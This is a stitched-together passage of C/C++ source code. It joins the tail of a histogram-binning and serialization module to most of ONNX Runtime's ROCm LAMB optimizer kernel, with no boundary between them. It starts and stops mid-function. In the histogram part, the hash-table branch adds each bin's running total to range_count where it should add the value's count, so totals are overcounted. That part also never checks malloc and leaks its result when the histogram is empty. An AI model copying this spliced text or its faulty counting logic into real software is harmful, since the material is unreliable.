allocate the output record which includes the array of bins */ if (!res) { res = (binned_result_t *)malloc(sizeof(struct binned_result) + bins_cap * sizeof(output_bin_t)); } /* output bins to fill */ output_bin_t *bins = res->bins; /* override the real min and max if they where configured upfront */ double min = (h->config_min == -DBL_MAX)? distr->min: h->config_min; double max = (h->config_max == DBL_MAX)? distr->max: h->config_max; double bin_width = (h->bin_width != 0.0) ? h->bin_width : (max - min) / h->size; double bin_max = min + bin_width * h->size; if (max > bin_max) max = bin_max; // initialize histogram bins int i; for (i = 0; i < h->size; i++) { output_bin_t *b = &bins[i]; b->start = min + i * bin_width; b->stop = b->start + bin_width; b->count = 0; } /* set the correct upper bound on the last bin (account for possible fp * error) */ bins[h->size - 1].stop = max; uint64_t range_count = 0; if (h->is_fixed_bins) { for (i = 0; i < h->size; i++) { bins[i].count = h->bins[i]; range_count += bins[i].count; } } else { wam_hashtbl_iterator_t *it = wam_hashtbl_first(h->hashtbl); for (; it; it = wam_hashtbl_next(it)) { unique_value_t *v = (unique_value_t *)wam_hashtbl_get_item(it); if (v->value <= max) { int i = bin_index(h->size, bin_width, min, max, v->value); bins[i].count += v->count; range_count += bins[i].count; } } } /* populate the remaining output values */ res->num_bins = h->size; res->left_count = h->left_count; res->right_count = h->right_count; res->range_count = range_count; res->total_count = range_count + h->left_count + h->right_count; // TODO: don't do the actual work of binning the data if there was not a // single data point if (!res->total_count) return NULL; // no values - empty histogram return res; } void wam_hist_store_bins(uint64_t *bins, int count, FILE *f) { if (fwrite(bins, sizeof(*bins), count, f) != (size_t)count) handle_io_error("storing bins", f); } void wam_hist_load_bins(uint64_t *bins, int count, FILE *f) { uint64_t *bins_buf = new uint64_t[count]; if (fread(bins_buf, sizeof(*bins), count, f) != (size_t)count) handle_io_error("loading bins", f); for (int i = 0; i < count; i++) bins[i] += bins_buf[i]; delete []bins_buf; } void wam_hist_store_outliers(uint64_t left_count, uint64_t right_count, FILE *f) { if (fwrite(&left_count, sizeof(left_count), 1, f) != 1) handle_io_error("storing bins outliers", f); if (fwrite(&right_count, sizeof(right_count), 1, f) != 1) handle_io_error("storing bins outliers", f); } void wam_hist_load_outliers(uint64_t *left_count, uint64_t *right_count, FILE *f) { uint64_t l, r; if (fread(&l, sizeof(l), 1, f) != 1) handle_io_error("loading bins outliers", f); if (fread(&r, sizeof(r), 1, f) != 1) handle_io_error("loading bins outliers", f); *left_count += l; *right_count += r; } void wam_hist_store(wam_hist_t *h, FILE *f) { if (fwrite(&h->distr, sizeof(wam_distr_t), 1, f) != 1) handle_io_error("storing histogram", f); wam_hist_store_outliers(h->left_count, h->right_count, f); if (h->is_fixed_bins) return wam_hist_store_bins(h->bins, h->size, f); else return wam_hashtbl_store_unique_values(h->hashtbl, f); } void wam_hist_load(wam_hist_t *h, FILE *f) { wam_distr_t distr; if (fread(&distr, sizeof(wam_distr_t), 1, f) != 1) handle_io_error("loading histogram", f); distr_merge(&distr, &h->distr); wam_hist_load_outliers(&h->left_count, &h->right_count, f); if (h->is_fixed_bins) wam_hist_load_bins(h->bins, h->size, f); else wam_hashtbl_load_unique_values(h->hashtbl, f); }
// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. #include <cmath> #include "core/providers/rocm/rocm_allocator.h" #include "core/providers/rocm/reduction/reduction_functions.h" #include "core/providers/rocm/math/binary_elementwise_ops.h" #include "orttraining/training_ops/rocm/optimizer/common.h" #include "orttraining/training_ops/rocm/optimizer/lamb.h" namespace onnxruntime { namespace rocm { std::vector<std::pair<int, int>> GenerateLambExtraAliasMapping() { // Starting index of extra inputs. constexpr int input_index_bias = 5; // Starting index of extra outputs. constexpr int output_index_bias = 1; // Count of extra I/O groups. One group corresponds to a weight update. constexpr int group_count = 1024; // length of [w, g, m1, m2, w_mixed_precision]. constexpr int input_stride = 5; // length of [w_new, g_new, m1_new, m2_new, w_mixed_precision_new]. constexpr int output_stride = 5; std::vector<std::pair<int, int>> alias_pairs{}; for (int i = 0; i < group_count; ++i) { const int input = input_index_bias + i * input_stride; const int output = output_index_bias + i * output_stride; // w --> w_new alias_pairs.emplace_back(std::make_pair(input, output)); // g --> g_new alias_pairs.emplace_back(std::make_pair(input + 1, output + 1)); // m1 --> m1_new alias_pairs.emplace_back(std::make_pair(input + 2, output + 2)); // m2 --> m2_new alias_pairs.emplace_back(std::make_pair(input + 3, output + 3)); // w_mixed_precision --> w_mixed_precision_new alias_pairs.emplace_back(std::make_pair(input + 4, output + 4)); } // update_count are updated in place. alias_pairs.emplace_back(std::make_pair(4, 0)); return alias_pairs; } // TODO: Once Schema is checked in to onnx lets fix this to match that #define REGISTER_LAMB_KERNEL_TYPED(T1, T2, T3, T4, T_GRAD_NORM, T_MIXED_PRECISION_FP) \ ONNX_OPERATOR_TYPED_KERNEL_EX( \ LambOptimizer, \ kMSDomain, \ 1, \ T1##_##T2##_##T3##_##T4##_##T_GRAD_NORM##_##T_MIXED_PRECISION_FP, \ kRocmExecutionProvider, \ KernelDefBuilder() \ .Alias(GenerateLambExtraAliasMapping()) \ .InputMemoryType<OrtMemTypeCPUInput>(0) /* Keep do_update in CPU */ \ .InputMemoryType<OrtMemTypeCPUInput>(4) /* Keep iteration_count in CPU */ \ .OutputMemoryType<OrtMemTypeCPUOutput>(0) /* Keep iteration_count in CPU */ \ .TypeConstraint("T1", DataTypeImpl::GetTensorType<T1>()) \ .TypeConstraint("T2", DataTypeImpl::GetTensorType<T2>()) \ .TypeConstraint("T3", DataTypeImpl::GetTensorType<T3>()) \ .TypeConstraint("T4", DataTypeImpl::GetTensorType<T4>()) \ .TypeConstraint("T_MIXED_PRECISION_FP", DataTypeImpl::GetTensorType<T_MIXED_PRECISION_FP>()) \ .TypeConstraint("T_GRAD_NORM", DataTypeImpl::GetTensorType<T_GRAD_NORM>()), \ LambOptimizer<T1, T2, T3, T4, T_GRAD_NORM, T_MIXED_PRECISION_FP>); REGISTER_LAMB_KERNEL_TYPED(float, float, MLFloat16, float, MLFloat16, MLFloat16) REGISTER_LAMB_KERNEL_TYPED(float, float, MLFloat16, float, float, MLFloat16) REGISTER_LAMB_KERNEL_TYPED(float, float, float, float, float, MLFloat16) // REGISTER_LAMB_KERNEL_TYPED(double, double, double, double, double, MLFloat16) // REGISTER_LAMB_KERNEL_TYPED(MLFloat16, float, MLFloat16, MLFloat16, MLFloat16, MLFloat16) // REGISTER_LAMB_KERNEL_TYPED(MLFloat16, float, MLFloat16, MLFloat16, float, MLFloat16) REGISTER_LAMB_KERNEL_TYPED(MLFloat16, float, MLFloat16, float, MLFloat16, MLFloat16) REGISTER_LAMB_KERNEL_TYPED(MLFloat16, float, MLFloat16, float, float, MLFloat16) void check_inputs_and_outputs( const Tensor* w, const Tensor* g, const Tensor* m1, const Tensor* m2, const Tensor* w_mixed_precision, const Tensor* w_new, const Tensor* g_new, const Tensor* m1_new, const Tensor* m2_new, const Tensor* w_mixed_precision_new) { // Throw if we have incomplete input or output lists. ORT_ENFORCE(w, "Weight tensor should not be null."); ORT_ENFORCE(g, "gradient tensor should not be null."); ORT_ENFORCE(m1, "First-order momentum tensor should not be null."); ORT_ENFORCE(m2, "Second-order momentum tensor should not be null."); ORT_ENFORCE(m1_new, "New first-order momentum tensor should not be null."); ORT_ENFORCE(m2_new, "New second-order momentum tensor should not be null."); // Check if all shapes are good. ORT_ENFORCE(m1->Shape() == m1_new->Shape()); ORT_ENFORCE(m2->Shape() == m2_new->Shape()); if (w_new) ORT_ENFORCE(w->Shape() == w_new->Shape()); if (g_new) ORT_ENFORCE(g->Shape() == g_new->Shape()); if (w_mixed_precision && w_mixed_precision_new) ORT_ENFORCE(w_mixed_precision->Shape() == w_mixed_precision_new->Shape()); } template <typename TWeight, typename TGradient, typename TMomentum, typename TMixedPrecision> Status copy_inputs_to_outputs( hipStream_t stream, OpKernelContext* ctx, const int non_grouped_input_count, const int non_grouped_output_count, const int group_count, const int input_group_size, const int output_group_size) { const Tensor* step_tensor = ctx->Input<Tensor>(4); if (step_tensor) { const int64_t* step_data = step_tensor->template Data<int64_t>(); Tensor* step_tensor_new = ctx->Output(0, step_tensor->Shape()); ORT_ENFORCE(step_tensor_new != nullptr, "Step tensor (input) and updated step tensor (output) must be specified together."); int64_t* step_data_new = step_tensor_new->template MutableData<int64_t>(); *step_data_new = *step_data; } for (int group_index = 0; group_index < group_count; ++group_index) { const int input_start_index = non_grouped_input_count + group_index * input_group_size; const Tensor& w = *ctx->Input<Tensor>(input_start_index); const Tensor& g = *ctx->Input<Tensor>(input_start_index + 1); const Tensor& m1 = *ctx->Input<Tensor>(input_start_index + 2); const Tensor& m2 = *ctx->Input<Tensor>(input_start_index + 3); const Tensor* w_mixed_precision = ctx->Input<Tensor>(input_start_index + 4); const int output_start_index = non_grouped_output_count + group_index * output_group_size; Tensor* w_new = ctx->Output(output_start_index, w.Shape()); Tensor* g_new = ctx->Output(output_start_index + 1, g.Shape()); Tensor& m1_new = *ctx->Output(output_start_index + 2, m1.Shape()); Tensor& m2_new = *ctx->Output(output_start_index + 3, m2.Shape()); Tensor* w_mixed_precision_new = w_mixed_precision != nullptr ? ctx->Output(output_start_index + 4, w_mixed_precision->Shape()) : nullptr; // TODO: temporary hack until View is improved (it doesn't work with Alias) if (w_new != nullptr) w_new->SetByteOffset(w.ByteOffset()); if (g_new != nullptr) g_new->SetByteOffset(g.ByteOffset()); if (w_mixed_precision_new != nullptr) w_mixed_precision_new->SetByteOffset(w_mixed_precision->ByteOffset()); if (w_new) { ORT_RETURN_IF_ERROR(CopyIfNotSameBuffer<TWeight>(stream, w, *w_new)); } if (g_new) { ORT_RETURN_IF_ERROR(CopyIfNotSameBuffer<TGradient>(stream, g, *g_new)); } ORT_RETURN_IF_ERROR(CopyIfNotSameBuffer<TMomentum>(stream, m1, m1_new)); ORT_RETURN_IF_ERROR(CopyIfNotSameBuffer<TMomentum>(stream, m2, m2_new)); if (w_mixed_precision_new) { ORT_RETURN_IF_ERROR(CopyIfNotSameBuffer<TMixedPrecision>(stream, *w_mixed_precision, *w_mixed_precision_new)); } } return Status::OK(); } template <typename HipT2, typename HipT3, typename HipT4, typename HipT_GRAD_NORM> Status launch_lamb_compute_direction( hipStream_t stream, const int64_t update_count, const int group_count, const HipT2* p_loss_scale, const HipT_GRAD_NORM* p_g_norm, std::vector<int>& tensor_sizes, std::vector<const HipT2*>& p_ws, std::vector<const HipT3*>& p_gs, std::vector<const HipT4*>& p_m1s, std::vector<const HipT4*>& p_m2s, std::vector<HipT3*>& p_ds, std::vector<HipT4*>& p_m1_news, std::vector<HipT4*>& p_m2_news, const std::vector<float>& alphas, const std::vector<float>& betas, const std::vector<float>& lambdas, const std::vector<float>& epsilons, const std::vector<float>& max_norms, const int64_t do_bias_correction) { ORT_ENFORCE(group_count == static_cast<int>(tensor_sizes.size())); ORT_ENFORCE(group_count == static_cast<int>(p_ws.size())); ORT_ENFORCE(group_count == static_cast<int>(p_gs.size())); ORT_ENFORCE(group_count == static_cast<int>(p_m1s.size())); ORT_ENFORCE(group_count == static_cast<int>(p_m2s.size())); ORT_ENFORCE(group_count == static_cast<int>(p_ds.size())); ORT_ENFORCE(group_count == static_cast<int>(p_m1_news.size())); ORT_ENFORCE(group_count == static_cast<int>(p_m2_news.size())); ORT_ENFORCE(group_count == static_cast<int>(alphas.size())); ORT_ENFORCE(group_count == static_cast<int>(betas.size())); ORT_ENFORCE(group_count == static_cast<int>(lambdas.size())); ORT_ENFORCE(group_count == static_cast<int>(epsilons.size())); constexpr int tensor_count_per_group = 6; const int max_tensor_size = compute_max_tensor_size_per_launch<tensor_count_per_group>(4); // Bucketize tensor groups by the associated optimizer configuration. // If two tensor groups use different "alpha", they should be put into two distinct buckets. std::map<std::tuple<float, float, float, float, float>, std::vector<std::vector<void*>>> buckets; std::map<std::tuple<float, float, float, float, float>, std::vector<int>> tensor_sizes_in_buckets; for (int i = 0; i < group_count; ++i) { if (tensor_sizes[i] > max_tensor_size) { // For the first iteration (indexed by 0), the update count should be 2. const float alpha_correction = do_bias_correction ? onnxruntime::contrib::compute_bias_correction_coefficient(alphas[i], update_count) : 1.f; const float beta_correction = do_bias_correction ? onnxruntime::contrib::compute_bias_correction_coefficient(betas[i], update_count) : 1.f; LambComputeDirection( stream, p_ws[i], p_gs[i], p_m1s[i], p_m2s[i], p_loss_scale, p_g_norm, HipT4(alphas[i]), HipT4(betas[i]), HipT2(lambdas[i]), HipT4(epsilons[i]), HipT2(max_norms[i]), HipT4(alpha_correction), HipT4(beta_correction), p_ds[i], p_m1_news[i], p_m2_news[i], tensor_sizes[i]); } else { std::vector<void*> ptrs(tensor_count_per_group); ptrs[0] = const_cast<HipT2*>(p_ws[i]); // weight tensor ptrs[1] = const_cast<HipT3*>(p_gs[i]); // gradient (reused to store update direction) ptrs[2] = const_cast<HipT4*>(p_m1s[i]); // 1st momentum ptrs[3] = const_cast<HipT4*>(p_m2s[i]); // 2nd momentum ptrs[4] = p_m1_news[i]; // new 1st momentum ptrs[5] = p_m2_news[i]; // new 2nd momentum auto key = std::make_tuple(alphas[i], betas[i], lambdas[i], epsilons[i], max_norms[i]); buckets[key].push_back(ptrs); tensor_sizes_in_buckets[key].push_back(tensor_sizes[i]); } } for (auto& pair : buckets) { const auto key = pair.first; float alpha = 0.f, beta = 0.f, lambda = 0.f, epsilon = 0.f, max_norm = 0.f; std::tie(alpha, beta, lambda, epsilon, max_norm) = key; // For the first iteration (indexed by 0), the update count should be 1. const float alpha_correction = do_bias_correction ? onnxruntime::contrib::compute_bias_correction_coefficient(alpha, update_count) : 1.f; const float beta_correction = do_bias_correction ? onnxruntime::contrib::compute_bias_correction_coefficient(beta, update_count) : 1.f; typedef LambMultiTensorComputeDirectionFunctor<HipT2, HipT3, HipT4, HipT_GRAD_NORM> LambStage1; LambStage1 lamb_stage1; launch_multi_tensor_functor<tensor_count_per_group, LambStage1>( stream, 2048 * 32, tensor_sizes_in_buckets[key], buckets[key], lamb_stage1, p_loss_scale, p_g_norm, lambda, alpha, beta, epsilon, HipT2(max_norm), alpha_correction, beta_correction); } return Status::OK(); } template <typename HipTNorm, typename HipTIn1, typename HipTIn2> Status launch_lamb_reduction( const RocmKernel& kernel, const int group_count, std::vector<int>& tensor_sizes, std::vector<HipTNorm*>& p_w_norms, std::vector<HipTNorm*>& p_d_norms, std::vector<const HipTIn1*>& p_ws, std::vector<HipTIn2*>& p_ds, void* reduction_buffer, size_t reduction_buffer_size) { ORT_ENFORCE(group_count == static_cast<int>(tensor_sizes.size())); ORT_ENFORCE(group_count == static_cast<int>(p_w_norms.size())); ORT_ENFORCE(group_count == static_cast<int>(p_d_norms.size())); ORT_ENFORCE(group_count == static_cast<int>(p_ws.size())); ORT_ENFORCE(group_count == static_cast<int>(p_ds.size())); constexpr int tensor_count_per_group = 4; hipStream_t stream = kernel.Stream(); // Bucketize tensor groups by the associated optimizer configuration. // If two tensor groups use different "alpha", they should be put into two distinct buckets. std::vector<std::vector<void*>> buckets; std::vector<int> tensor_sizes_in_buckets; const int max_tensor_size = compute_max_tensor_size_per_launch<tensor_count_per_group>(4); for (int i = 0; i < group_count; ++i) { if (tensor_sizes[i] > max_tensor_size) { ORT_RETURN_IF_ERROR(reduce_square_sum( stream, p_ws[i], p_w_norms[i], tensor_sizes[i], reduction_buffer, reduction_buffer_size)); ORT_RETURN_IF_ERROR(reduce_square_sum( stream, p_ds[i], p_d_norms[i], tensor_sizes[i], reduction_buffer, reduction_buffer_size)); } else { std::vector<void*> ptrs(tensor_count_per_group); ptrs[0] = const_cast<HipTIn1*>(p_ws[i]); // weight tensor ptrs[1] = const_cast<HipTIn2*>(p_ds[i]); // update direction ptrs[2] = p_w_norms[i]; // weight tensor's norm ptrs[3] = p_d_norms[i]; // update direction's norm buckets.push_back(ptrs); tensor_sizes_in_buckets.push_back(tensor_sizes[i]); } } if (buckets.size() > 0) { ORT_ENFORCE(tensor_sizes_in_buckets.size() > 0); } if (tensor_sizes_in_buckets.size() > 0) { ORT_ENFORCE(buckets.size() > 0); } // Only launch multi-tensor function if we have at least one tensor in the buckets. if (tensor_sizes_in_buckets.size() > 0 && buckets.size() > 0) { typedef LambMultiTensorReductionFunctor<HipTIn1, HipTIn2, HipTNorm, HipTNorm, HipTNorm> TReducer; TReducer reducer; launch_multi_tensor_functor<tensor_count_per_group, TReducer>( stream, 2048 * 32, tensor_sizes_in_buckets, buckets, reducer, kernel, reduction_buffer, reduction_buffer_size); } return Status::OK(); } template <typename HipT1, typename HipT2, typename HipT3, typename HipT_MIXED_PRECISION_FP> Status launch_lamb_update( hipStream_t stream, const int group_count, const HipT1* eta, const float ratio_min, const float ratio_max, std::vector<int>& tensor_sizes, std::vector<HipT2*>& p_w_norms, std::vector<HipT2*>& p_d_norms, std::vector<const HipT2*>& p_ws, std::vector<HipT3*>& p_ds, /* output */ std::vector<HipT2*>& p_w_news, /* output */ std::vector<HipT3*>& p_g_news, /* output */ std::vector<HipT_MIXED_PRECISION_FP*>& p_w_mixed_precision_news) { ORT_ENFORCE(group_count == static_cast<int>(tensor_sizes.size())); ORT_ENFORCE(group_count == static_cast<int>(p_w_norms.size())); ORT_ENFORCE(group_count == static_cast<int>(p_d_norms.size())); ORT_ENFORCE(group_count == static_cast<int>(p_ws.size())); ORT_ENFORCE(group_count == static_cast<int>(p_ds.size())); ORT_ENFORCE(group_count == static_cast<int>(p_w_news.size())); ORT_ENFORCE(group_count == static_cast<int>(p_g_news.size())); ORT_ENFORCE(group_count == static_cast<int>(p_w_mixed_precision_news.size())); constexpr int tensor_count_per_group = 7; // Bucketize tensor groups by the associated optimizer configuration. // If two tensor groups use different "alpha", they should be put into two distinct buckets. std::vector<std::vector<void*>> buckets; std::vector<int> tensor_sizes_in_bucket; const int max_tensor_size = compute_max_tensor_size_per_launch<tensor_count_per_group>(4); for (int i = 0; i < group_count; ++i) { if (tensor_sizes[i] > max_tensor_size) { LambUpdate( stream, eta, ratio_min, ratio_max, p_d_norms[i], p_w_norms[i], p_ws[i], p_ds[i], p_w_news[i], p_g_news[i], p_w_mixed_precision_news[i], tensor_sizes[i]); } else { std::vector<void*> ptrs(tensor_count_per_group); ptrs[0] = p_w_norms[i]; // weight tensor's norm ptrs[1] = p_d_norms[i]; // direction's norm ptrs[2] = const_cast<HipT2*>(p_ws[i]); // weight tensor ptrs[3] = p_ds[i]; // direction ptrs[4] = p_w_news[i]; // new weight tensor ptrs[5] = p_g_news[i]; // new gradient tensor ptrs[6] = p_w_mixed_precision_news[i]; // new half-precision weight tensor buckets.push_back(ptrs); tensor_sizes_in_bucket.push_back(tensor_sizes[i]); } } if (buckets.size() > 0) { ORT_ENFORCE(tensor_sizes_in_bucket.size() > 0); } if (tensor_sizes_in_bucket.size() > 0) { ORT_ENFORCE(buckets.size() > 0); } // Only launch multi-tensor function if we have at least one tensor in the buckets. if (tensor_sizes_in_bucket.size() > 0 && buckets.size() > 0) { typedef LambMultiTensorUpdateFunctor< HipT1, HipT2, HipT3, HipT_MIXED_PRECISION_FP> LambStage2; LambStage2 lamb_stage2; launch_multi_tensor_functor<tensor_count_per_group, LambStage2>( stream, 2048 * 32, tensor_sizes_in_bucket, buckets, lamb_stage2, eta, ratio_min, ratio_max); } return Status::OK(); } template <typename T1, typename T2, typename T3, typename T4, typename T_GRAD_NORM, typename T_MIXED_PRECISION_FP> Status LambOptimizer<T1, T2, T3, T4, T_GRAD_NORM, T_MIXED_PRECISION_FP>::ComputeInternal(OpKernelContext* ctx) const { // HipT* are types used to invoke ROCM-based functions. It, for example, maps // MLFloat16 in ONNXRuntime to half in ROCM. typedef typename ToHipType<T1>::MappedType HipT1; typedef typename ToHipType<T2>::MappedType HipT2; typedef typename ToHipType<T3>::MappedType HipT3; typedef typename ToHipType<T4>::MappedType HipT4; typedef typename ToHipType<T_GRAD_NORM>::MappedType HipT_GRAD_NORM; typedef typename ToHipType<T_MIXED_PRECISION_FP>::MappedType HipT_MIXED_PRECISION_FP; constexpr int non_grouped_input_count = 5; constexpr int input_group_size = 5; constexpr int output_group_size = 5; constexpr int non_grouped_output_count = 1; constexpr int minimal_input_count = non_grouped_input_count + 1 * input_group_size - 1; constexpr int minimal_output_count = non_grouped_output_count + 1 * output_group_size - 1; const int grouped_input_tensor_count = ctx->InputCount() - non_grouped_input_count; const int grouped_output_tensor_count = ctx->OutputCount() - non_grouped_output_count; // At least one variable group for updating one weight tensor. ORT_ENFORCE( ctx->InputCount() >= minimal_input_count, "Expect at least ", minimal_input_count, " inputs but got ", ctx->InputCount()); // At least one variable group for updating one weight tensor. ORT_ENFORCE( ctx->OutputCount() >= minimal_output_count, "Expect at least ", minimal_output_count, " outputs but got ", ctx->OutputCount()); // In addition to the first non_grouped_input_count inputs, all inputs are repeated sequence of [w, g, m1, m2, w_mixed_precision]. ORT_ENFORCE( grouped_input_tensor_count % input_group_size == 0, "Input count must be ", non_grouped_input_count, " + ", input_group_size, " x (number of weights to optimize)."); // Outputs are repeated sequence of [w_new, g_new, m1_new, m2_new, w_mixed_precision_new]. ORT_ENFORCE( grouped_output_tensor_count % output_group_size == 0, "Output count must be ", non_grouped_output_count, " + ", output_group_size, " x (number of weights to optimize)."); // Number of repeated [w, g, m1, m2, w_mixed_precision]'s should match number of repeated [w_new, g_new, m1_new, m2_new, w_mixed_precision_new]. ORT_ENFORCE( grouped_input_tensor_count / input_group_size == grouped_output_tensor_count / output_group_size, "Input and output tensor counts are not aligned. Please check LambOptimizer's input and output lists."); // Number of [w, g, m1, m2, (w_mixed_precision)] (or [w_new, m1_new, m2_new, (w_mixed_precision_new)]). const int group_count = (grouped_input_tensor_count + input_group_size - 1) / input_group_size; // At least we need one group of alpha, beta, lambda, ..., for processing one group. ORT_ENFORCE(alpha_.size() >= static_cast<size_t>(group_count)); ORT_ENFORCE(beta_.size() >= static_cast<size_t>(group_count)); ORT_ENFORCE(lambda_.size() >= static_cast<size_t>(group_count)); ORT_ENFORCE(epsilon_.size() >= static_cast<size_t>(group_count)); ORT_ENFORCE(max_norm_clip_.size() >= static_cast<size_t>(group_count)); // If gradient norm is not finite, we copy inputs to outputs directly. if (ctx->Input<Tensor>(0)) { auto update_signal_tensor = ctx->Input<Tensor>(0); auto update_signal = *update_signal_tensor->template Data<bool>(); if (!update_signal) { return copy_inputs_to_outputs<T2, T3, T4, T_MIXED_PRECISION_FP>( Stream(), ctx, non_grouped_input_count, non_grouped_output_count, group_count, input_group_size, output_group_size); } } const HipT2* loss_scale_data = nullptr; if (ctx->Input<Tensor>(1)) { const Tensor& loss_scale_tensor = *ctx->Input<Tensor>(1); loss_scale_data = reinterpret_cast<const HipT2*>(loss_scale_tensor.template Data<T2>()); } const HipT_GRAD_NORM* g_norm_data = nullptr; if (ctx->Input<Tensor>(2)) { const Tensor& g_norm_tensor = *ctx->Input<Tensor>(2); g_norm_data = reinterpret_cast<const HipT_GRAD_NORM*>(g_norm_tensor.template Data<T_GRAD_NORM>()); } const Tensor& eta = *ctx->Input<Tensor>(3); const HipT1* eta_data = reinterpret_cast<const HipT1*>(eta.template Data<T1>()); const Tensor* step_tensor = ctx->Input<Tensor>(4); const int64_t* step_data = nullptr; if (step_tensor) { step_data = step_tensor->template Data<int64_t>(); } // Allocate buffer for reduction computation of update directions. // The i-th update direction's norm is stored at the i-th element. // We reduce type T3 tensor to type T2 scalar. An example is that T3=float16 // and T2=float. IAllocatorUniquePtr<T2> d_norm_buffer = GetScratchBuffer<T2>(group_count); HipT2* d_norm_data = reinterpret_cast<HipT2*>(d_norm_buffer.get()); HIP_RETURN_IF_ERROR(hipMemsetAsync(d_norm_data, 0, group_count * sizeof(T2), Stream())); // Allocate buffer for reduction computation of weight tensor. // The i-th weight's norm is stored at the i-th element. // We reduce type T2 tensor to type T2 scalar. An example is that T2=float. IAllocatorUniquePtr<T2> w_norm_buffer = GetScratchBuffer<T2>(group_count); HipT2* w_norm_data = reinterpret_cast<HipT2*>(w_norm_buffer.get()); HIP_RETURN_IF_ERROR(hipMemsetAsync(w_norm_data, 0, group_count * sizeof(T2), Stream())); // Find the max size of updated weight tensors. int max_tensor_size = 0; for (int group_index = 0; group_index < group_count; ++group_index) { // Prepare used input tensors for this group. const int input_start_index = non_grouped_input_count + group_index * input_group_size; const Tensor& w = *ctx->Input<Tensor>(input_start_index); max_tensor_size = std::max(max_tensor_size, static_cast<int>(w.Shape().Size())); } const size_t reduction_buffer_size = [&]() { // Allocate a buffer in byte for reduction API calls. size_t rbs = compute_reduction_buffer_size<HipT2>(max_tensor_size); // Enlarge reduction buffer to accomodate multi-tensor reduction kernel as well const int tensor_group_size = 4; // w, d, w_norm, d_norm const int max_blocks = ChunkGroup<tensor_group_size>::max_block_count; const size_t multitensor_block_reduce_buffer_size = 2 * max_blocks * sizeof(HipT2); rbs = std::max(rbs, multitensor_block_reduce_buffer_size); return rbs; }(); // Allocate reduction buffer whose size is reduction_buffer_size bytes. IAllocatorUniquePtr<void> reduction_buffer = GetScratchBuffer<void>(reduction_buffer_size); // Input tensors' pointers. std::vector<const HipT2*> p_ws(group_count); std::vector<const HipT3*> p_gs(group_count); std::vector<const HipT4*> p_m1s(group_count); std::vector<const HipT4*> p_m2s(group_count); std::vector<const HipT_MIXED_PRECISION_FP*> p_w_mixed_precisions(group_count); // ds' is an mutable version of gs' because we want to reuse // gs' memory to store the update direction to avoid allocating a model-scale buffer. std::vector<HipT3*> p_ds(group_count); // Intermediate tensors, weight tensors' and directions' norms. std::vector<HipT2*> p_w_norms(group_count); std::vector<HipT2*> p_d_norms(group_count); // Output tensors' pointers. std::vector<HipT2*> p_w_news(group_count); std::vector<HipT3*> p_g_news(group_count); std::vector<HipT4*> p_m1_news(group_count); std::vector<HipT4*> p_m2_news(group_count); std::vector<HipT_MIXED_PRECISION_FP*> p_w_mixed_precision_news(group_count); // The i-th element in following array is the size of // the i-th updated weight tensor and other related tensors. std::vector<int> tensor_sizes(group_count); for (int group_index = 0; group_index < group_count; ++group_index) { // Prepare used input tensors for this group. const int input_start_index = non_grouped_input_count + group_index * input_group_size; const Tensor* w = ctx->Input<Tensor>(input_start_index); const Tensor* g = ctx->Input<Tensor>(input_start_index + 1); const Tensor* m1 = ctx->Input<Tensor>(input_start_index + 2); const Tensor* m2 = ctx->Input<Tensor>(input_start_index + 3); const Tensor* w_mixed_precision = ctx->Input<Tensor>(input_start_index + 4); // Prepare used outputs tensors for this group. const int output_start_index = non_grouped_output_count + group_index * output_group_size; Tensor* w_new = ctx->Output(output_start_index, w->Shape()); Tensor* g_new = ctx->Output(output_start_index + 1, g->Shape()); Tensor* m1_new = ctx->Output(output_start_index + 2, m1->Shape()); Tensor* m2_new = ctx->Output(output_start_index + 3, m2->Shape()); Tensor* w_mixed_precision_new = w_mixed_precision != nullptr ? ctx->Output(output_start_index + 4, w_mixed_precision->Shape()) : nullptr; // TODO: temporary hack until View is improved (it doesn't work with Alias) if (w_new != nullptr) w_new->SetByteOffset(w->ByteOffset()); if (g_new != nullptr) g_new->SetByteOffset(g->ByteOffset()); if (w_mixed_precision_new != nullptr) w_mixed_precision_new->SetByteOffset(w_mixed_precision->ByteOffset()); check_inputs_and_outputs(w, g, m1, m2, w_mixed_precision, w_new, g_new, m1_new, m2_new, w_mixed_precision_new); // We should throw for preventing overflow in reduction APIs. // The index in ROCM system is 32-bit integer. ORT_ENFORCE( w->Shape().Size() < static_cast<int64_t>(std::numeric_limits<int>::max())); tensor_sizes[group_index] = static_cast<int>(w->Shape().Size()); // Input tensors' pointers. p_ws[group_index] = reinterpret_cast<const HipT2*>(w->template Data<T2>()); p_gs[group_index] = reinterpret_cast<const HipT3*>(g->template Data<T3>()); p_m1s[group_index] = reinterpret_cast<const HipT4*>(m1->template Data<T4>()); p_m2s[group_index] = reinterpret_cast<const HipT4*>(m2->template Data<T4>()); p_w_mixed_precisions[group_index] = w_mixed_precision != nullptr ? reinterpret_cast<const HipT_MIXED_PRECISION_FP*>(w_mixed_precision->template Data<T_MIXED_PRECISION_FP>()) : nullptr; // The following cast is for reusing gradient tensor g to store update direction d. p_ds[group_index] = const_cast<HipT3*>(reinterpret_cast<const HipT3*>(g->template Data<T3>())); // Set up which pointer to store which tensor's norm. p_w_norms[group_index] = w_norm_data + group_index; p_d_norms[group_index] = d_norm_data + group_index; // Output tensors' pointers. p_w_news[group_index] = w_new != nullptr ? reinterpret_cast<HipT2*>(w_new->template MutableData<T2>()) : nullptr; p_g_news[group_index] = g_new != nullptr ? reinterpret_cast<HipT3*>(g_new->template MutableData<T3>()) : nullptr; p_m1_news[group_index] = reinterpret_cast<HipT4*>(m1_new->template MutableData<T4>()); p_m2_news[group_index] = reinterpret_cast<HipT4*>(m2_new->template MutableData<T4>()); p_w_mixed_precision_news[group_index] = w_mixed_precision_new != nullptr ? reinterpret_cast<HipT_MIXED_PRECISION_FP*>(w_mixed_precision_new->template MutableData<T_MIXED_PRECISION_FP>()) : nullptr; } ORT_RETURN_IF_ERROR(launch_lamb_compute_direction( Stream(), step_data ? *step_data : 0, group_count, loss_scale_data, g_norm_data, tensor_sizes, p_ws, p_gs, p_m1s, p_m2s, p_ds, p_m1_news, p_m2_news, alpha_, beta_, lambda_, epsilon_, max_norm_clip_, do_bias_correction_)); ORT_RETURN_IF_ERROR(launch_lamb_reduction( *this, group_count, tensor_sizes, p_w_norms, p_d_norms, p_ws, p_ds, reduction_buffer.get(), reduction_buffer_size)); ORT_RETURN_IF_ERROR(launch_lamb_update( Stream(), group_count, eta_data, ratio_min_, ratio_max_, tensor_sizes, p_w_norms, p_d_norms, p_ws, p_ds, p_w_news, p_g_news, p_w_mixed_precision_news)); if (step_tensor) { Tensor* step_tensor_new = ctx->Output(0, step_tensor->Shape()); 